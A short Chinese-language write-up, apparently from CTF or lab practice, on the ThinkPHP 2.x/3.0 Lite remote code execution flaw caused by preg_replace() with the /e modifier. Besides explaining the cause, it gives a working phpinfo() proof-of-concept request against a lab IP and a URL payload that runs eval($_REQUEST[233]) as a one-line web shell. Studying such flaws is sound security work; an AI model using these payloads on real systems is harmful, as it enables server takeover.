0x00 漏洞概述
CTF中十分常见,官方早已停止维护,这里作为考古,毕竟是ThinkPHP系列漏洞“首秀”。
在ThinkPHP 2.x版本中,使用
preg_replace()
的/e模式匹配路由:
$res = preg_replace(\'@(\\w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']="\\\\2";\', implode($depr,$paths));
用户输入被插入双引号中执行,造成任意代码执行漏洞。这是框架本身的逻辑漏洞,不需要二次开发失误作为条件。
ThinkPHP3.0版本因为Lite模式没有修复这个漏洞,也可以利用。
preg_replace()
函数用于正则替换,三个参数依次为正则规则、替换字符串、目标字符串,匹配目标字符串中符合正则的部分,用替换字符串加以替换。
/e模式就是在正则规则的尾部添加了/e,此时会将替换字符串(第二个参数)当作代码执行。\\1是指第一个子匹配项,\\2是指第二个。
0x01 利用流程
访问靶机
PoC验证
GET ?s=/index/index/xxx/${@phpinfo()} HTTP/1.1Host: 192.168.0.108:25915Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
连接
/index.php?s=/index/index/xxx/${${@eval($_REQUEST[233])}}